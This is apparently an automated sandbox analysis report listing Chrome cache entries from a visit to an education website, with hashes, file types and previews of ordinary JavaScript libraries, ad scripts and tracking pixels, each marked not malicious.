URL:	https://cdn-themes.thinkific.com/1/364474/script.min-1635964853.js
Preview:	!function(h,i,s,a){function l(t,e){this.settings=null,this.options=h.extend({},l.Defaults,e),this.$element=h(t),this._handlers={},this._plugins={},this._supress={},this._current=null,this._speed=null,this._coordinates=[],this._breakpoint=null,this._width=null,this._items=[],this._clones=[],this._mergers=[],this._widths=[],this._invalidated={},this._pipe=[],this._drag={time:null,target:null,pointer:null,stage:{start:null,current:null},direction:null},this._states={current:{},tags:{initializing:["busy"],animating:["busy"],dragging:["interacting"]}},h.each(["onResize","onThrottledResize"],h.proxy(function(t,e){this._handlers[e]=h.proxy(this[e],this)},this)),h.each(l.Plugins,h.proxy(function(t,e){this._plugins[t.charAt(0).toLowerCase()+t.slice(1)]=new e(this)},this)),h.each(l.Workers,h.proxy(function(t,e){this._pipe.push({filter:e.filter,run:h.proxy(e.run,this)})},this)),this.setup(),this.initialize()}l.Defaults={items:3,loop:!1,center:!1,rewind:!1,checkVisibility:!0,mouseDrag:!0,touchDrag

Chrome Cache Entry: 632

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (597)
Category:	downloaded
Size (bytes):	13194
Entropy (8bit):	5.484992651927204
Encrypted:	false
SSDEEP:	384:JPyLUzQQ1dVd3o1yiX+tt4qym+Y/IO/of:JPCrxO/+
MD5:	D2DA7C7DCA1A638925D3EE396AA4E7A8
SHA1:	20D519AB0944C866B0E5C72D077B49F6F1485B2E
SHA-256:	77A38EBEE5730B70E36E9D5DDAA61456B06E905D98C5AF6B86D7B7CA214583A4
SHA-512:	AB6A50BF54204F1CDF290A59D14A31B0B298FCEB0375D4568EA52C4975F21BBD929523573580257BA41AB1657392BE3EFCB03CADB2C8E4771381B128B0DB3E68
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/thickbox/thickbox.js
Preview:	/. Thickbox 3.1 - One Box To Rule Them All.. * By Cody Lindley (http://www.codylindley.com). * Copyright (c) 2007 cody lindley. * Licensed under the MIT License: http://www.opensource.org/licenses/mit-license.php./..if ( typeof tb_pathToImage != 'string' ) {..var tb_pathToImage = thickboxL10n.loadingAnimation;.}../!!!!!!!!!!!!!!!!! edit below this line at your own risk !!!!!!!!!!!!!!!!!!!!!!!/..//on page load call tb_init.jQuery(document).ready(function(){..tb_init('a.thickbox, area.thickbox, input.thickbox');//pass where to apply thickbox..imgLoader = new Image();// preload image..imgLoader.src = tb_pathToImage;.});../. * Add thickbox to href & area elements that have a class of .thickbox.. * Remove the loading indicator when content in an iframe has loaded.. */.function tb_init(domChunk){..jQuery( 'body' )....on( 'click', domChunk, tb_click )....on( 'thickbox:iframe:loaded', function() {....jQuery( '#TB_window' ).removeClass( 'thickbox-loading' );...});.}..function tb_click(){

Chrome Cache Entry: 633

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12198), with no line terminators
Category:	downloaded
Size (bytes):	12198
Entropy (8bit):	5.031745242580206
Encrypted:	false
SSDEEP:	192:GngaW9ELBD26z861V/CvJiVKIsvfT+6EdpEsBpP9Qwo7Q4a99RfuzqXppc4mmm9t:Ggz9kBD26861V/wsVKIsvTEdpEsnmwoz
MD5:	3819C3569DA71DAEC283A75483735F7E
SHA1:	ECD40A5CC6F0B76200C454CA880210DC301CFAB8
SHA-256:	214674CC77ABA35AB3567B88E2739FD08E8E96C61D279559AD61874069683EA0
SHA-512:	2710655DFF46653DAEB3A6E3F6D36F885E51D5B375738EE353ACA40C6F66AE1A7DECE57039D58747012ED9EA2822191143C06F270123B8CC580F6A41B8E8AEF4
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js
Preview:	!function(){"use strict";function Waypoint(options){if(!options)throw new Error("No options passed to Waypoint constructor");if(!options.element)throw new Error("No element option passed to Waypoint constructor");if(!options.handler)throw new Error("No handler option passed to Waypoint constructor");this.key="waypoint-"+keyCounter,this.options=Waypoint.Adapter.extend({},Waypoint.defaults,options),this.element=this.options.element,this.adapter=new Waypoint.Adapter(this.element),this.callback=options.handler,this.axis=this.options.horizontal?"horizontal":"vertical",this.enabled=this.options.enabled,this.triggerPoint=null,this.group=Waypoint.Group.findOrCreate({name:this.options.group,axis:this.axis}),this.context=Waypoint.Context.findOrCreateByElement(this.options.context),Waypoint.offsetAliases[this.options.offset]&&(this.options.offset=Waypoint.offsetAliases[this.options.offset]),this.group.add(this),this.context.add(this),allWaypoints[this.key]=this,keyCounter+=1}var keyCounter=0,allW

Chrome Cache Entry: 634

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537073062&val=1992631731613135717
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 635

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (5657)
Category:	downloaded
Size (bytes):	6162
Entropy (8bit):	5.599076700545423
Encrypted:	false
SSDEEP:	192:Sb04pPhtmpvftu/PvJ/CMMKJ8UotoqzpfLEj:s0i5fPJ6FEPkIj
MD5:	6AAAF8E11A32FD37FB419E3A4CE9696C
SHA1:	1FD88F2EE4DE5422E0C344DEBEFE3F2B5ABB2592
SHA-256:	468959E93F9B4E6F07C6A8F8D0E93D8FCB37D76A8615A93EC153F5842247BA99
SHA-512:	748B27BDB7C7FA082D7BE6C69F56DC33302105784391320A5CF960531C594097BC406FD3F4690E4CF74F4016F4D56804A4296E9BD885562EB66699E1318F7000
Malicious:	false
Reputation:	low
URL:	https://23ba230fb2915d5a11cfdf076820a553.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html
Preview:	<!DOCTYPE html>.<html>. <head>. <meta charset="UTF-8">. <title>SafeFrame Container</title>. <script>.(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var f=this\|\|self,h=function(a){return a};var n=function(a,b){this.h=a===l&&b\|\|"";this.g=m},p=function(a){return a instanceof n&&a.constructor===n&&a.g===m?a.h:"type_error:Const"},m={},l={};var r=void 0;/.. SPDX-License-Identifier: Apache-2.0./.var t,aa=function(){if(void 0===t){var a=null,b=f.trustedTypes;if(b&&b.createPolicy){try{a=b.createPolicy("goog#html",{createHTML:h,createScript:h,createScriptURL:h})}catch(c){f.console&&f.console.error(c.message)}t=a}else t=a}return t};var ca=function(a){this.g=ba===ba?a:""};ca.prototype.toString=function(){return this.g+""};var ba={},da=function(a){var b=aa();a=b?b.createScriptURL(a):a;return new ca(a)};var ea={},u=function(a,b){this.g=b===ea?a:""};u.prototype.toString=function(){return this.g.toString()};var ha=function(){var a=v,b={messa

Chrome Cache Entry: 636

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2637), with no line terminators
Category:	downloaded
Size (bytes):	2637
Entropy (8bit):	4.956440446821181
Encrypted:	false
SSDEEP:	48:wGRyDAIusZuPGGbyyaiOuLdmadLd2z3Yd2TcLyP4GxAJfIabBhJGRM:mZ+buuzwz82TcC5AJAabM6
MD5:	58B75C38A77E2EE48BB02750FD654A0B
SHA1:	1EF18AA7EB66D234C484551411DB212CD084CFD3
SHA-256:	CE103D7FF2FB466932D05E36056F48697B25861FD923E7DA830A32EDD22DDB63
SHA-512:	DB617A5D594DAA7ED6A9DC7A93FACA32583F77FA278DA0169D61EE42A109B2A009265A63CA67231A90AEC682463B3D9A4C9EBB343B555FDE67C12808D69CC303
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/js/tutor/general.min.js
Preview:	!function(n){"use strict";var t=n("body");function e(){1200<=window.innerWidth?(t.addClass("dashboard-nav-fixed"),t.removeClass("dashboard-nav-opened")):t.removeClass("dashboard-nav-fixed");var e=window.innerHeight-n(".dashboard-nav-header").outerHeight()-50;n(".dashboard-nav-content-inner").height(e).perfectScrollbar({suppressScrollX:!0})}n(document).ready(function(){n(document).on("click",".edumall-course-wishlist-btn",function(e){var a;e.preventDefault(),n("body").hasClass("logged-in")&&(e=(a=n(this)).attr("data-course-id"),n.ajax({url:$edumall.ajaxurl,type:"POST",data:{course_id:e,action:"tutor_course_add_to_wishlist"},beforeSend:function(){a.children(".button-content-wrapper").addClass("updating-icon")},success:function(e){var t;e.success?(t=a.parent(".tm-button-wrapper"),"added"===e.data.status?(t.attr("aria-label",$edumallCourseWishlist.addedText),t.addClass("added"),a.addClass("has-wish-listed"),a.find(".button-text").text($edumallCourseWishlist.addedText)):(t.attr("aria-label"

Chrome Cache Entry: 637

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (25115)
Category:	downloaded
Size (bytes):	25202
Entropy (8bit):	5.20645807060685
Encrypted:	false
SSDEEP:	768:e44yLMNvgnDwYB+IlnHB9/bNlJyI3G7OaXiQx9kpETpUwnOQdZMvUtVo0uKHp+3:Ir6pyYG7OH2pHZMvUtzO3
MD5:	046405DE007FF73E52D17DAB2AF75258
SHA1:	887CFB8A9DE27005875F6E1C1D1EAD43BD0865C8
SHA-256:	533E264CC615EE4601DA8D2C1DEE4A8987319E53D4D7162272F067FBBF250020
SHA-512:	280FF860A90CCFFBEF838F17A64C02ABFF9A806FD359A8E110E5D3E44B5A4961FD38637E242E431A7593D8CED74946BBF1450B6202341483BF89AB70D07660EB
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor-pro/assets/lib/smartmenus/jquery.smartmenus.min.js
Preview:	/! SmartMenus jQuery Plugin - v1.0.1 - November 1, 2016. http://www.smartmenus.org/. * Copyright Vasil Dinkov, Vadikom Web Ltd. http://vadikom.com; Licensed MIT */(function(t){"function"==typeof define&&define.amd?define(["jquery"],t):"object"==typeof module&&"object"==typeof module.exports?module.exports=t(require("jquery")):t(jQuery)})(function($){function initMouseDetection(t){var e=".smartmenus_mouse";if(mouseDetectionEnabled\|\|t)mouseDetectionEnabled&&t&&($(document).unbind(e),mouseDetectionEnabled=!1);else{var i=!0,s=null;$(document).bind(getEventsNS([["mousemove",function(t){var e={x:t.pageX,y:t.pageY,timeStamp:(new Date).getTime()};if(s){var o=Math.abs(s.x-e.x),a=Math.abs(s.y-e.y);if((o>0\|\|a>0)&&2>=o&&2>=a&&300>=e.timeStamp-s.timeStamp&&(mouse=!0,i)){var n=$(t.target).closest("a");n.is("a")&&$.each(menuTrees,function(){return $.contains(this.$root[0],n[0])?(this.itemEnter({currentTarget:n[0]}),!1):void 0}),i=!1}}s=e}],[touchEvents?"touchstart":"pointerover pointermove pointer

Chrome Cache Entry: 638

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1321)
Category:	downloaded
Size (bytes):	17314
Entropy (8bit):	5.342134706855769
Encrypted:	false
SSDEEP:	384:cCDFzlR6exHAiyyrYuy9ckdnfczIk7LcuNP/p:DlsexHAlii9NmIeLcE
MD5:	2CC87E9764AEBCBBF36FF2061E6A2793
SHA1:	B4F2FFDF4C695AA79F0E63651C18A88729C2407B
SHA-256:	61C32059A5E94075A7ECFF678B33907966FC9CFA384DAA01AA057F872DA14DBB
SHA-512:	4ED31BF4F54EB0666539D6426C851503E15079601A2B7EC7410EBF0F3D1EEC6A09F9D79F5CF40106249A710037A36DE58105A72D8A909E0CFCE872C736CB5E48
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/sodar/sodar2.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.'use strict';function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var l="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ba(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var n=ba(this),p="function"===typeof Symbol&&"symbol"===typeof Symbol("x"),r={},u={};function w(a,b){var c=u[b];if(null==c)return a[b];c=a[c];return void 0!==c?c:a[b]}.function x(a,b,c){if(b)a:{var d=a.split(".");a=1===d.length;var g=d[0],h;!a&&g in r?h=r:h=n;for(g=0;g<d.length-1;g++){var e=d[g];if(!(e in h))break a;h=h[e]}d=d[d.length-1];c=p&&"es6"===c?h[d]:null;b=b(c);

Chrome Cache Entry: 639

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65534)
Category:	downloaded
Size (bytes):	96782
Entropy (8bit):	5.286244775391555
Encrypted:	false
SSDEEP:	1536:Qn31uKLuf05zg4m9b0wWU8zfNB0Ec5yjJ:IFu+g4qb0bzfNN
MD5:	84701AB69E17B38BD31C8D9CAC4C856D
SHA1:	F9B3F1D59E08CA6A7158F52B98F9BAC1B00AE3BF
SHA-256:	4DE08AD9A8340A27A3018B83EC2DABE45ABEC49649756FB6469D6F3FC6EE155F
SHA-512:	A68DB5977F4EEB1128619C8F32F241EF7078B745BD45A2F04BC21C2F2D41962BB399C1C2177C6BDF4DCB3B6B7D14D456226114F60F24E070496FB2E13CAEC3D8
Malicious:	false
Reputation:	low
URL:	https://cdn.ampproject.org/rtv/022404020207000/v0/amp-analytics-0.1.mjs
Preview:	;.(self.AMP=self.AMP\|\|[]).push({m:1,v:"2404020207000",n:"amp-analytics",ev:"0.1",l:!0,f:function(t,i){(()=>{var i;function s(){return i\|\|(i=Promise.resolve(void 0))}var e=class{constructor(){this.promise=new Promise(((t,i)=>{this.resolve=t,this.reject=i}))}},{isArray:n}=Array;function r(t,i){for(let s=0;s<t.length;s++)if(i(t[s],s,t))return s;return-1}function o(t,i){const s=t.length-i.length;return s>=0&&t.indexOf(i,s)==s}function h(t,i,s){const e=s\|\|1;for(let s=0;s<e;s++){let s=0;if(t=t.replace(/\${([^{}]*)}/g,((t,e)=>(s++,i(e)))),!s)break}return t}var{hasOwnProperty:u,toString:c}=Object.prototype;function a(t){return"[object Object]"===c.call(t)}function l(t){const i=Object.create(null);return t&&Object.assign(i,t),i}function f(t,i){return u.call(t,i)}function d(t,i,s=10){const e=[],n=[];for(n.push({t:t,s:i,d:0});n.length>0;){const{d:t,s:i,t:r}=n.shift();if(e.includes(i))throw new Error("Source object has a circular reference.");if(e.push(i),r!==i)if(t>s)Object.assign(r,i);else for(c

Chrome Cache Entry: 640

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 480x304, components 3
Category:	downloaded
Size (bytes):	16586
Entropy (8bit):	7.957409408185379
Encrypted:	false
SSDEEP:	384:sr+Ti3JFyedoQY8MVt/X7F/NGaU1D52OE:sc0JBd4vT/XZNGzDxE
MD5:	54D65107C91A51A2622028096950808A
SHA1:	A3B97C0AF1F3051AA2DF9B56B4A1CEF39AE87D43
SHA-256:	4949207039446F8CA3E2263D7AAAD5BC5B648A112468D818AAFD340FCDC294EB
SHA-512:	975496A9D89F8F15B6949770BEAE52F9CE931DEE3D02DBD56579FBC7E496BAF6997BE9A2162DF4F16646A8B840A2A3D7109FE8E6EB0F4A61A429EE4D42003024
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/Power-BI-1-480x304.jpg
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......0...."........................................U........................!...1..AQ......"RTaq..26BDSs...#$5Cbr..34EUt..%&cd....u.7...................................:.........................!1Q.....ARSq..."a.$245r#%B..3b.............?...@Nb..,Z}w\2...e....[MWB.j...,,.,.c`)%e`....-o.V.oZ..U.&...j..J..Ya.[.z.KQ.kKY..z.{.Yt..is...Y.....>1Z.S.R..R.3=.....9m! ...5T..YY{.)....<.^.F..F.%D...%..I.R9`...M0p!v0..y.......l+s\.I...)Mr.S...A...R.........P9$]d.1.E......7Yd..l).S.@.L.#k..".@..R....\.nE..)..... ...<.1.... ...I...q..zM...#r..\.%s.....Y..Y.^.o.9w....Kg.uEPl.......6.JQx..[Q.XuE..]Re.Q#..dSMd.D.IT.Ni.y..5v.+k)b..X.;A.8...3.....pv..+AT...I.....s.@.N.~j.....L.$....G:.-H.....14N.Z.y..B...+.).G.J.l..mq.+S..J.V.}.m.8.C..1...p.'..u.%N.yV..zr@{......)9D..6.5k.T.;;Bp.3e..k....D.`3agl;...w7.O..\..3g...

Chrome Cache Entry: 641

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	139606
Entropy (8bit):	5.998119012485004
Encrypted:	false
SSDEEP:	3072:kOhRUBqQcq5fGgYC53Jni+J+bfyg6RGvVM0WhiJc:kOhRUBqQcq5vLWnTvq0Wh2c
MD5:	9CACDF9CF6433814ABA7758ED978C8A9
SHA1:	8D476F9A782CB5F5C4DB48257C372178E2F60B9C
SHA-256:	2A580BA03B3F480524EE6B812C15A464EF41C7319F8BEC9541D121BE96E64714
SHA-512:	F5C57E3D3DFFB63BD41F66AE318FD08E770B37E1B0237258A03C80E194B4D41255D883E9B5D94A2BC927DCD93BDF33429B46374126DEA4BEE4E577540CFD0E36
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/tags/afterScroll/693aeeaf24cac4c24cb4.min.js
Preview:	(self.mvWrapperJsonp=self.mvWrapperJsonp\|\|[]).push([[2208],{4559:(e,t,i)=>{"use strict";i.r(t),i.d(t,{load:()=>ni});var n=i(8129),o=i(7475),s=i(5077),r=i(2845);function a(e){return!(!e.native\|\|!e.native.video\|\|!e.native.video.vastUrl&&!e.native.video.vastXml)}var l=i(2321),d=i(6497);let c;var h;(e=>{let t;e.load=i=>{return n=void 0,o=null,s=function*(){const n=i.offering.offering_domain;c=`https://errors.${n}/record`,t=yield d.Z.fetchJson(`${i.launcherUrl}/creativeBlocks`),l.Z.on(l.Z.events.outstreamAdError,(i=>{i.bidResponse.creativeId&&(t[i.bidResponse.creativeId]=!0),e.reportCreativeError(i)}))},new Promise(((e,t)=>{var i=e=>{try{a(s.next(e))}catch(e){t(e)}},r=e=>{try{a(s.throw(e))}catch(e){t(e)}},a=t=>t.done?e(t.value):Promise.resolve(t.value).then(i,r);a((s=s.apply(n,o)).next())}));var n,o,s},e.includes=e=>!!t&&!!t[e],e.reportCreativeError=({adError:t,bidResponse:i})=>{const{creativeId:n,bidder:o,s2sBidder:s}=i,r=s\|\|o,a=t.getVastErrorCode().toString(),l=e.buildErrorUrl(n,r,a);d.Z.

Chrome Cache Entry: 642

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 643

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	383
Entropy (8bit):	5.974021202467248
Encrypted:	false
SSDEEP:	6:YVgfStMBF7RsiFea2j7wR4aS0YHtTbCk0GGuDoBunoyyvdjGotN6IkiT7S80Q0dh:YKCM37zF/cwdS0YpbCVu0woyyvQqNbT+
MD5:	3C0AB0171B7F8F4E5F1086A8C4EDE9F7
SHA1:	CFBA73DDF230D3DD040ACFBC9F92D195E7A7E8F9
SHA-256:	C9238C0398A0CC83E255E255F537A958312242E10C2AA61FDC88B6CAF5E55452
SHA-512:	18271A819B2DF763579B3EE086A74C9CA293E02A3C3B853967E8A96205C58C054798884664484E2F918D7BF2948E6FBA0388E299F202EAAC2ED90BB527B13A96
Malicious:	false
Reputation:	low
Preview:	{"hb":"V1:ZZwJR4TURwzTDKMv:WoarkCJYIPNr+QmRBB7AStPb2rUndqh0fRFkM2KMLvHIMRbJrbY965yHdBZDUgjU9SF7w6Hz+O7U9vgqIEqtLUXUi43i7Ozf759lWLKQleQ=","adx":"V1:Xb84+j9++SSWYivj:ZmrGXyRg1XFyfD6lzrah1gwPd6Kr/FxWdf/VbkABQfGVt1XwqQtlYWxO+DnTCOO+p0Fzh3dVKDCWphZh+Lm0ahmfLESGtHTEkqh0Ag==","unf":"V1:pT/hY7sm8tHSLF1k:+Frzy/iQpD0/RgPfS0epWwdUDl824D68tPDLiKwqwRaQsGgdWouOr2DRHg6qke0ZlXH/MC/r+3aBmMajNcUT"}

Chrome Cache Entry: 644

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537073026&val=ZhhVq1_h0viAGBt5rWGu1Rxr
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 645

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 646

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	89803
Entropy (8bit):	5.049986899289801
Encrypted:	false
SSDEEP:	1536:E0ZO0BzYgaJmvOMa1Mrdnb81SScY9eunJ/JA/Dv+PLCC9lgXLhd6ZL3BEh0G3BCq:EsYgaAsFpCiL3BEh0G3BtGvuDLtWTJER
MD5:	C992E93F4B5AD1A97032DB5D427114E3
SHA1:	4E76D0C7A8FFFC869F28CD9DF511ADE0A2F889BD
SHA-256:	F836D8837F59A598F940905F2D9EED2D040C98C0A911D3AD3840E3C9E60E5057
SHA-512:	D793BE93C51EFB38B57FC56628EF2D500CC5E02F7D9F885DB712795662157C6F82A7A8E2BFC7FDBA97956B8961A1FBFC12B3DD751C1587147D8140ADA735CDC1
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/libs/isotope/js/isotope.pkgd.js
Preview:	/!. Isotope PACKAGED v3.0.6. . Licensed GPLv3 for open source use. * or Isotope Commercial License for commercial use. . https://isotope.metafizzy.co. * Copyright 2010-2018 Metafizzy. /../. Bridget makes jQuery widgets. * v2.0.1. * MIT license. /../ jshint browser: true, strict: true, undef: true, unused: true /..( function( window, factory ) {..// universal module definition../jshint strict: false / / globals define, module, require */..if ( typeof define == 'function' && define.amd ) {...// AMD...define( 'jquery-bridget/jquery-bridget',[ 'jquery' ], function( jQuery ) {....return factory( window, jQuery );...});..} else if ( typeof module == 'object' && module.exports ) {...// CommonJS...module.exports = factory(....window,....require('jquery')...);..} else {...// browser global...window.jQueryBridget = factory(....window,....window.jQuery...);..}..}( window, function factory( window, jQuery ) {..'use strict';..// ----- utils ----- //...var arraySlice = Array.prot

Chrome Cache Entry: 647

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	74
Entropy (8bit):	3.5096195010456768
Encrypted:	false
SSDEEP:	3:pQBHMwH4J0UHcYY4X++HUVwH4xUHcYT444:pQmy4J04cD8HMy4x4cV44
MD5:	21C4A5301F7ED4EBA999D33DA5088B74
SHA1:	19C555893ECFA82AA22CDA033F9AA8F1AC29E9AA
SHA-256:	042666EE3284F7864DD0AC0FDE9F2BC2F67ADFC48B1712D9F38B17D200C7BCE7
SHA-512:	3BB820C0E76CA6D669AF117EC46AAD3903ECDCEF8EB469B816D1DE461D43AA988C15254E1FC4E160276355226205F5892DEF02DA4CBC489DBCD76F7E1DA3B6A4
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/pagead/ima_ppub_config?ippd=https%3A%2F%2Fearnandexcel.com%2F
Preview:	[null,[[["1030006"],["22952122961"]]],[[["1030006",1],["22952122961",1]]]]

Chrome Cache Entry: 648

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 649

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	117382
Entropy (8bit):	5.158969825677069
Encrypted:	false
SSDEEP:	1536:fhaAGl3aMgeR/sfXS0nkKSnjq1gh1BNgU0lr5b7p5k0f3DJoAsZWkLddoeBcD6Bz:fKpnNtGPTrLqvnUMctqPfik
MD5:	E60E718B80B700EC2E6993BC459E3848
SHA1:	7B34F30F763932CD7BC236C9DFBBCCB3B682C64A
SHA-256:	275E27E2B86673C0510A505AB9301E6AAB7F000A43ECDECDAD139A03D03AE003
SHA-512:	886382859C712F4C3F419D61C2CE5D2D7C27AC5A856A1D3B9F64421ACC13A0FDD252F2C5F8CC7B72D1FEBB3ADBE3A33CE5A639B157690B4B2225D2453520FD6D
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/tutor/assets/packages/plyr/plyr.polyfilled.min.js
Preview:	"object"==typeof navigator&&function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define("Plyr",t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).Plyr=t()}(this,(function(){"use strict";!function(){if("undefined"!=typeof window)try{var e=new window.CustomEvent("test",{cancelable:!0});if(e.preventDefault(),!0!==e.defaultPrevented)throw new Error("Could not prevent default")}catch(e){var t=function(e,t){var i,s;return(t=t\|\|{}).bubbles=!!t.bubbles,t.cancelable=!!t.cancelable,(i=document.createEvent("CustomEvent")).initCustomEvent(e,t.bubbles,t.cancelable,t.detail),s=i.preventDefault,i.preventDefault=function(){s.call(this);try{Object.defineProperty(this,"defaultPrevented",{get:function(){return!0}})}catch(e){this.defaultPrevented=!0}},i};t.prototype=window.Event.prototype,window.CustomEvent=t}}();var e="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"u

Chrome Cache Entry: 650

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
